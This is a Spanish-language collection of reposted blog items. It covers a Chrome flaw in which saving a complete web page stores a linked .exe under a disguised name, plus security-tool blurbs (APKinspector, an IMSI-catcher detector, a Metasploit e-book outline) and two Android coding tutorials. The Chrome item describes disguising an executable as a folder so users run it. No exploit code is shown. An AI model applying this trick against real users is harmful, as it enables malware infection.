       Personalmente no me gusta que mi navegador me cuele un .exe sin consultarme primero. Otros navegadores (véase Firefox) cuando detectan que un recurso que es enlazado desde el HTML de la web que estamos descargando posee una extensión potencialmente peligrosa la renombra a .html, evitando el peligro. Por el contrario, Chrome se la come con patatas, porque "this is working as intended".

      El PoC más simple de probar es crear un archivo HTML con el siguiente source:






     Y guardamos en el mismo sitio un archivo .exe de nombre css (capitán obvio al rescate). Ahora procedemos a visualizar el archivo HTML con Chrome, click derecho->guardar como...->página web completa. Veremos cómo se crea un archivo .htm y una carpeta cuyo nombre es WEB_files, y dentro de ésta veremos nuestro .exe con nombre css. Ahora imaginad que ese .exe tuviese de icono uno imitando a una carpeta.

    Si te has descargado una web, por el motivo X (por ejemplo comrpobar los CSS para copiarlos, o coger todas las imagenes), es altamente probable que hagas doble click en esa "carpeta" para abrirla, cuando en realidad lo que estarás haciendo es ejecutar malware. Y más probable es todavía de que confundas a un usuario de que se trata de una carpeta, cuando en windows el nombre de las extensiones no se ven por defecto. O sea, que me descargo los recursos de una web, hago doble click para verlos, y en realidad estoy ejecutando un troyano.  Personalmente me parece bastante fácil que alguien caiga, aunque en Google opinan lo contrario:


the potential victim here would have to engage in willfully dangerous behavior to execute files by the means described in this report.

Byt3z!

Fuente: http://blog.0verl0ad.com/2014/06/fallo-de-seguridad-en-google-chrome-al.html

APKinspector (ingles)

APKinspector is a powerful GUI tool for analysts to analyze the Android applications. The goal of this project is to aide analysts and reverse engineers to visualize compiled Android packages and their corresponding DEX code. APKInspector provides both analysis functions and graphic features for the users to gain deep insight into the malicious apps


https://github.com/honeynet/apkinspector/

Fuente: https://evilzone.org/android/apkinspector/

Android IMSI Catcher Detector (Ingles)

The android IMSI catcher detector is an android based project to detect and (hopefully one day) avoid fake base stations (IMSI-Catchers) in GSM/UMTS Networks.
With IMSI-Catchers being exponentially popular lately, and with an explosion of various "bastards" with governments and criminals all the same, using it. Anyone can now buy an IMSI-Catcher (or build a cheap one on his own). In addition they can all crack the A5.1-3 encryption on the fly!.


https://github.com/SecUpwN/Android-IMSI-Catcher-Detector


Project size is around 85mb, it contains papers and ebooks about GSM protocols and related subjects, some papers are in German.

Fuente: https://evilzone.org/android/android-imsi-catcher-detector/

Metasploit E-book

Capture
You can download the book here.
This book includes the following topics.

THE ABSOLUTE BASICS O F PENETRATIONTESTING
METASPOIT BASICS
INTELLIGENCE GATHERING
VULNERABILITY SCANNING
THE JOY OF EXPLOITATION
METERPRETER
AVOIDING DETECTION
EXPLOITATION USING CLIENT-SIDE ATTACKS
METASPLOIT AUXILIARY MODULES
THE SOCIAL-ENGINEER TOOLKIT
FAST-TRACK
KARMETASPLOIT
BUILDING YOUR OWN MODULE
CREATING YOUR OWN EXPLOITS
PORTING EXPLOITS TO THE METASPLOIT FRAMEWORK
METERPRETER SCRIPTING
SIMULATED PENETRATION TEST

Fuente: http://thehackersarmy.blogspot.com/2012/02/metasploit-e-book.html

Lanzar un segundo "Activity"

Problema:

Confeccionar un programa que muestre en la ventana principal un botón que al ser presionado muestre otra ventana (Activity) mostrando un TextView con el nombre del programador de la aplicación y un botón para cerrar la ventana o actividad.

1 - Primero creamos un nuevo proyecto que lo llamaremos proyecto008 y en la ventana principal creamos la siguiente interfaz:

lanzar segundo Activity


Es decir que nosotros queremos que cuando se presione el botón "Acerca De" nos abra otra ventana (Activity) y nos muestre el nombre del programador.

2 - Ahora tenemos que crear el segundo Activity. Crearemos primero el archivo XML. Presionamos el botón derecho sobre la carpeta layout y seleccionaremos la opción New -> Android XML File

lanzar segundo Activity


Aquí tenemos que definir el nombre del archivo XML (debe estar en minúsculas), lo llamaremos acercade:

lanzar segundo Activity

Implementamos ahora la interfaz visual de esta segunda ventana (Activity) disponiendo un objeto de la clase TextView donde mostramos el nombre del autor de este programa y un Button para cerrar la ventana.

lanzar segundo Activity


3 - Tenemos ahora que crear el archivo Java donde dispondremos la funcionalidad de la segunda ventana (Activity)

Creamos una nueva clase al proyecto desde el menú contextual(presionamos el botón derecho del mouse sobre el paquete com.androidya.proyecto008):

lanzar segundo Activity


Al nombre de la clase la llamamos AcercaDe y debemos especificar que hereda de la clase Activity (podemos presionar el botón Browse que está en la misma fila de SuperClass y buscamos la clase Activity para que disponga el nombre del paquete donde se encuentra):

lanzar segundo Activity

El código que nos genera es:

package com.javaya.proyecto008;

import android.app.Activity;

public class AcercaDe extends Activity {

}

Debemos sobreescribir el método onCreate donde enlazamos esta clase con el archivo XML que diseñamos.
Si no recordamos cual es la sintaxis exacta de este método podemos también generarlo automáticamente con la ayuda de nuestro editor, elegimos Source -> Override/Implement methods:
lanzar segundo Activity

Buscamos el método onCreate y presionamos el botón Ok, ahora ya tenemos la clase con el método onCreate:

package com.javaya.proyecto008;

import android.app.Activity;
import android.os.Bundle;

public class AcercaDe extends Activity {

 @Override
 protected void onCreate(Bundle savedInstanceState) {
  // TODO Auto-generated method stub
  super.onCreate(savedInstanceState);
 }

}

Ahora solo falta llamar al método setContentView para enlazar el archivo XML:

package com.javaya.proyecto008;

import android.app.Activity;
import android.os.Bundle;

public class AcercaDe extends Activity {

 @Override
 protected void onCreate(Bundle savedInstanceState) {
  // TODO Auto-generated method stub
  super.onCreate(savedInstanceState);
  setContentView(R.layout.acercade);
 }

}

Como podemos ver la clase AcercaDe hereda de la clase Activity e implementa el método onCreate 
para enlazar el archivo XML que creamos anteriormente.

4 - Otro paso fundamental es registrar el Activity en el archivo "AndroidManifest.xml" que se encuentra en la raiz principal del proyecto.
Seleccionamos el archivo y activamos la pestaña : "Application", presionamos el botón "add" y seleccionamos "Activity":
lanzar segundo Activity

Por último seleccionamos en "Application Nodes" la actividad creada y definimos la propiedad Name con el nombre de la clase que la implementa (en nuestro caso se llama AcercaDe):
lanzar segundo Activity


5 - Ahora implementaremos la funcionalidad en la actividad (Activity) principal para que se active la segunda ventana.
Inicializamos la propiedad OnClick del objeto de la clase Button con el valor "lanzar", este es el método que se ejecutará cuando se presione.
El código fuente de la actividad principal queda:

package com.javaya.proyecto008;

import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.view.Menu;
import android.view.View;

public class MainActivity extends Activity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
    }

    @Override
    public boolean onCreateOptionsMenu(Menu menu) {
        // Inflate the menu; this adds items to the action bar if it is present.
        getMenuInflater().inflate(R.menu.activity_main, menu);
        return true;
    }
    
    public void lanzar(View view) {
        Intent i = new Intent(this, AcercaDe.class );
        startActivity(i);
  }    
    
}

En el método lanzar creamos un objeto de la clase Intent y le pasamos
 como parámetros la referencia del objeto de esta clase (this) y la 
referencia del otro Activity (AcercaDe.class)
Llamamos posteriormente al método startActivity pasando el objeto de la clase Intent (con esto ya tenemos en pantalla la ventana del segundo Activity:

    public void lanzar(View view) {
          Intent i = new Intent(this, AcercaDe.class );
          startActivity(i);
    }

Si ejecutamos el programa podemos ver que cuando presionamos el botón
 "Acerca De" aparece la segunda ventana donde se muestra el TextView con
 el valor "Autor de este programa: Diego" y un botón con el texto 
"Finalizar" (si presionamos este botón no sucede nada, esto debido a que
 no hemos asociado ningún evento a dicho botón)

6 - Debemos codificar el evento OnClick de la segunda actividad. Seleccionemos el botón "Finalizar" y definamos en la propiedad OnClick el nombre de método que se ejecutará al presionarse el botón (en nuestro caso lo llamaremos cerrar") :

El código fuente de la actividad AcercaDe queda:

package com.javaya.proyecto008;


import android.app.Activity;
import android.os.Bundle;
import android.view.View;

public class AcercaDe extends Activity {
    /** Called when the activity is first created. */
    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.acercade);
    }
    
    public void cerrar(View view) {
     finish();
    }    
}

Cuando se presiona el botón finalizar llamando al método finish() que
 tiene por objetivo liberar el espacio de memoria de esta actividad y 
pedir que se active la actividad anterior.
Ahora nuestro programa está funcionando completamente:
Primer Activity:
lanzar segundo Activity

Segundo Activity:
lanzar segundo Activity

Ahora ya tenemos el programa funcionando en forma completa.
Este proyecto lo puede descargar en un zip desde este enlace: proyecto008.zip

Problema propuesto


  1. Realizar un programa que contenga dos Activity. En el primero que solicite el ingreso de una clave (control Password) Si ingresa la clave "abc123" activar el segundo Activity mostrando en un TextView un mensaje de bienvenida (mostrar en un TextView si se ingrese la clave incorrecta).
    Llamar al proyecto: proyecto009.
    En tiempo de ejecución los dos Activity deben mostrarse algo similar a esto:
    lanzar segundo Activity
    lanzar segundo Activity
    Este proyecto lo puede descargar en un zip desde este enlace: proyecto009.zip
Fuente: http://www.javaya.com.ar/androidya/detalleconcepto.php?codigo=140&inicio=

Integrando Google Drive en android

Cualquier dueño de un dispositivo Android con acceso a Google Play tiene forzosamente una cuenta de google activa. Toda cuenta de google activa tiene acceso a los servicios de Google Drive: almacenamiento, documentos, etc. Es por ello que me pareció particularmente interesante acceder desde una app a dichos recursos. Debido a la variedad de servicios que ofrece, haré de esto una serie de artículos. Investigué esta página (gracias @spcoder, porque yo había encontrado tropocientas diferentes pero no ésta) y di con un howto para crear una app sencillita con la que tomar fotos y guardarlas en el espacio de almacenamiento de Google Drive. Tras sufrir y corregir los errores que me encontré, pensé que sería una buena idea compilarlo todo en un post. Sin embargo, y para no arrollar con demasiadas cosas a la vez, dedicaremos este artículo principalmente a la preparación necesaria para que tu app pueda acceder a los servicios de Google Drive.

1. Preparar el entorno

Estos preparativos afectan al IDE (Eclipse, en nuestro caso) y a nuestro espacio de trabajo o Workspace.

Preparativos en Eclipse.

Necesitaremos que Eclipse disponga de lo siguiente:
  • El google plugin for eclipse.
  • La librería google_play_services
El plugin ‘google plugin for eclipse’ se puede instalar siguiendo las instrucciones de esta página. Este plugin sirve, principalmente, para facilitar la tarea de añadir las librerías cliente necesarias a nuestro proyecto con un par de clicks. Ya hemos visto en otra ocasión cómo instalar un plugin en Eclipse desde el propio Eclipse (el plugin ADT fue en ese caso), así que lo único que tenemos que hacer en la página de google es buscar nuestra versión de eclipse y tomar la url que debemos emplear, esperar a que cargue la lista y elegir el google plugin for eclipse. Una vez listo, instalamos (saldrá el aviso de “software no firmado” que tendremos que confirmar, estos de google…) y reiniciamos eclipse. Al volver a arrancar deberíamos tener un icono redondo azul con la g de google en nuestra barra de herramientas. A mí me salió a la izquierda del SDK Manager.
Y hablando del SDK Manager, tenemos que usarlo ahora. En la ventana que se abre, iremos al fondo hasta que veamos “extras” en el lado izquierdo. Ahí dentro tenemos que buscar Google Play Services e instalarlo.

Preparativos en el workspace

Cuando Google Play Services esté instalado, tocará importar el proyecto librería (la página de google decía que bastaba con el jar, pero no es cierto, en el próximo post os cuento), lo cual haremos con File > New > Import > Existing Android Code into Workspace > navegamos a dónde tengamos nuestra carpeta con el SDK (si no lo recordamos, en Window > Preferences > Android tenemos la SDK Location que es dónde tenemos que ir) buscar dentro de extras/google/google_play_services/libproject y aceptar. Se importará el proyecto, el cual está marcado como is Library, que tendremos que emplear en nuestras aplicaciones que quieran acceder a estos servicios.

Anotar la Huellas del Certificado de Firmas

Por último, tenemos que encontrar y anotar las Huellas del Certificado de Firmas, que necesitaremos para acceder a las API de Google. Para ello haremos lo siguiente en sistemas Linix (es el sistema que manejo, pero seguramente habrá un equivalente para otros sistemas a un vistazo en Google =3):
En un Terminal ejecutaremos el siguiente comando keytool:
keytool -exportcert -alias androiddebugkey -keystore ~/.android/debug.keystore -list -v
La keystore o almacén de claves de android está normalmente en /home/usuario/.android/debug-keystore. Esto nos dará una lista de Huellas que tiene la firma que el sistema da automáticamente a todas nuestras aplicaciones, la firma de debug. Cuando queramos publicar la app, tendremos que firmarla con una firma privada, pero eso es otro tema.
En lo que nos devuelve ese comando tenemos que buscar la línea que comienza por “SHA-1″ y dejarla apuntada, ya que la necesitaremos mas adelante.

2. Preparar el proyecto

Los siguientes preparativos se refieren al proyecto o aplicación que tengamos entre manos y ha de repetirse para cada aplicación en la que queramos integrar los servicios de Google Drive.

Obtener el permiso para que nuestra app pueda acceder a los servicios de la API de Google Drive.

Crear el API Project en la consola de APIs de google. Le daremos el nombre de la app a la que queramos que Google de paso cuando usemos las llamadas de sus APIs. Una vez creado, seguimos los siguientes pasos dentro de la misma consola:
  1. En el desplegable, elegimos Services. Saldrá un listado con las API de Google a las que querremos que tenga acceso nuestra app, así que buscaremos Drive API y la activaremos.
  2. En el desplegable, elegimos API Access. Accedemos a Create an OAuth 2.0 client ID y lo cumplimentamos con la siguiente información:
    • En Branding Information ponemos el nombre de nuestra aplicación. El resto de campos son opcionales, por lo que pulsaremos Next.
    • En Client ID Settings:
      • En Application type: Installed application
      • En Installed Application Type: Android
      • En Package Name: el package name de nuestro proyecto (ejemplo: com.alberovalley.gdrivetutorial)
      • En Signing Certificate fingerprint: la cadena de texto que copiamos de nuestra clave de debug (sin el SHA-1).
      • Clickamos en Create Client ID.

Librerías y dependencias del proyecto

Usando el plugin de google para Eclipse, elegimos del desplegable Add Google APIs. En la nueva ventana, buscaremos Drive API v2. Con esto habremos añadido la librería cliente de Google Drive.
En el proyecto Properties > Android añadimos el proyecto librería google_play_services que dejamos preparado en el punto 1. El quickstart de Google sólo habla de añadir el jar que viene ahí, pero si se hace como dice, al ejecutar la app te dará un NoClassDefFoundError porque necesita el código y los recursos que están definidos en el proyecto, no sólo el jar.

3. Empezar a programar


Cuando hemos llegado a este punto, ya sólo queda empezar a programar nuestra app. haremos una app muy sencilla (una única Activity y sin usar siquiera su layout) que nos pedirá que nos loguemos con nuestra cuenta de Google, nos permitirá tomar fotografías y las subirá a nuestro Google Drive, tal como dije en la introducción.

Vamos ahora con la app de subir fotos. Proviene de un quickstar de google developers y, como ellos mismos dicen, se trata de una aplicación rápida y sencilla para que vayamos aprendiendo cómo se hace, por lo que puede no estar todo lo bien hecha que cabría, pero funciona y hace lo que debe.

Partimos de la base que todos los preparativos nombrados en el primer artículo de esta serie han sido tomados correctamente. Una vez todo ello listo, vamos al turrón.

Permisos

En el Manifest tenemos que añadir los permisos convenientes para poder acceder a los servicios de Google Drive. Estos son
  • INTERNET, obviamente, para tener acceso a los servidores de Google.
  • GET_ACCOUNTS, que es el que nos permite trastear con las cuentas ID (Google, Twitter, Facebook, etc).
El código a añadir al xml (por si os da pereza meteros en el desplegable interminable de la interfaz en Eclipse) es el siguiente


El código

Sólo necesitaremos una clase, la MainActivity (o el nombre que le hayamos dado) que genera Eclipse cuando creamos el proyecto Android. Ni siquiera usaremos el layout, ya que todo se hará a través de Intents del sistema (el de gestión de cuentas, el de la cámara…).
El código de la actividad es este. Procederemos a despiezarlo para intentar entenderlo.
1
2
3
4
5
6
7
@Override
 public void onCreate(Bundle savedInstanceState) {
   super.onCreate(savedInstanceState);
   credential = GoogleAccountCredential.usingOAuth2(this, DriveScopes.DRIVE);
   startActivityForResult(credential.newChooseAccountIntent(), REQUEST_ACCOUNT_PICKER);
 }
El familiar método onCreate. Aquí ya se empiezan a usar las clases de Google, Credential en este caso. Se inicializa la misma y se arranca la Actividad del gestor de cuentas ForResult, vaya, devolviéndonos información que recibiremos en el onActivityResult.
Veamos ahora los casos del onActivityResult
1
2
3
4
5
6
7
8
9
10
case REQUEST_ACCOUNT_PICKER:
     if (resultCode == RESULT_OK && data != null && data.getExtras() != null) {
       String accountName = data.getStringExtra(AccountManager.KEY_ACCOUNT_NAME);
       if (accountName != null) {
         credential.setSelectedAccountName(accountName);
         service = getDriveService(credential);
         startCameraIntent();
       }
     }
     break;
Por aquí pasa cuando, la primera vez que se ejecuta, sale el gestor de cuentas y nosotros le hemos dicho que sí, que hacemos login con la cuenta X de la lista que tenemos. Actualiza el campo SelectedAccountName de credential con el valor adecuado que devolvió el gestor de cuentas, inicializa el servicio Drive con los credenciales ahora cumplimentados y arranca el Intent de la cámara.
1
2
3
4
5
6
7
case REQUEST_AUTHORIZATION:
      if (resultCode == Activity.RESULT_OK) {
        saveFileToDrive();
      } else {
        startActivityForResult(credential.newChooseAccountIntent(), REQUEST_ACCOUNT_PICKER);
      }
      break
Por aquí pasa tras hacer la primera foto, cuando tiene que pedir permiso la app para gestionar (en este caso, guardar las fotos allí) el Google Drive del usuario. Si se obtienen, guarda la foto; si no, a pedirlo tocan.
1
2
3
4
case CAPTURE_IMAGE:
      if (resultCode == Activity.RESULT_OK) {
        saveFileToDrive();
      }
Y por aquí cuando ha hecho una foto y hemos pulsado en guardarla. Llama al método con el que guardamos la foto en Google Drive y listos.
1
2
3
4
5
6
7
8
9
10
11
private void startCameraIntent() {
    String mediaStorageDir = Environment.getExternalStoragePublicDirectory(
        Environment.DIRECTORY_PICTURES).getPath();
    String timeStamp = new SimpleDateFormat("yyyyMMdd_HHmmss", Locale.US).format(new Date());
    fileUri = Uri.fromFile(new java.io.File(mediaStorageDir + java.io.File.separator + "IMG_"
        + timeStamp + ".jpg"));
    Intent cameraIntent = new Intent(MediaStore.ACTION_IMAGE_CAPTURE);
    cameraIntent.putExtra(MediaStore.EXTRA_OUTPUT, fileUri);
    startActivityForResult(cameraIntent, CAPTURE_IMAGE);
  }
Con este método llama al Intent de la cámara. Así se ahorra tener que escribir una actividad que lleve el tema de las cámaras y, además, tener que pedir permiso CAMERA en el Manifest. Muestra algo de lo que comenté de ser una app “no todo lo bien hecha que cabría”: El Locale para el formato de tiempo lo pone a pelo de Estados Unidos, en vez de usar el default para que tome el que tenga configurado el móvil. Habrá mas cosas “no del todo bien hechas” en toda la app, pero esta es una bastante llamativa.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
private void saveFileToDrive() {
    Thread t = new Thread(new Runnable() {
      @Override
      public void run() {
        try {
          // File's binary content
          java.io.File fileContent = new java.io.File(fileUri.getPath());
          FileContent mediaContent = new FileContent("image/jpeg", fileContent);
          // File's metadata.
          File body = new File();
          body.setTitle(fileContent.getName());
          body.setMimeType("image/jpeg");
          File file = service.files().insert(body, mediaContent).execute();
          if (file != null) {
            showToast("Photo uploaded: " + file.getTitle());
            startCameraIntent();
          }
        } catch (UserRecoverableAuthIOException e) {
          startActivityForResult(e.getIntent(), REQUEST_AUTHORIZATION);
        } catch (IOException e) {
          e.printStackTrace();
        }
      }
    });
    t.start();
  }


Y con esto, por último, guarda la foto en Google Drive. Si no estuviera autorizada la app para ello (como ocurre en el caso de la primera foto) se producirá la excepción UserRecoverableAuthIOException y solicitará permisos lanzando el Intent adecuado. Y esto es todo. Con tan solo los permisos y esta actividad ya se puede probar la app en el móvil o tablet. La pantalla del gestor de cuentas y la de petición de permiso sólo aparecerán en la primera ejecución y el primer guardado de foto (salvo que se diga “no” al permiso, claro). A partir de ahí sólo tomará fotos, las subirá y volverá a sacar la actividad de la cámara. Tomad un par de fotos de ejemplo y luego mirad en vuestro Google Drive, en Recientes, para ver que se han subido correctamente. Y ya está. Como siempre, tenéis disponible el código de este tutorial en el repositorio de github.

Fuente: http://alberovalley.wordpress.com/2013/01/21/integrando-google-drive-en-nuestras-apps-ii-primera-app-integrada-con-drive/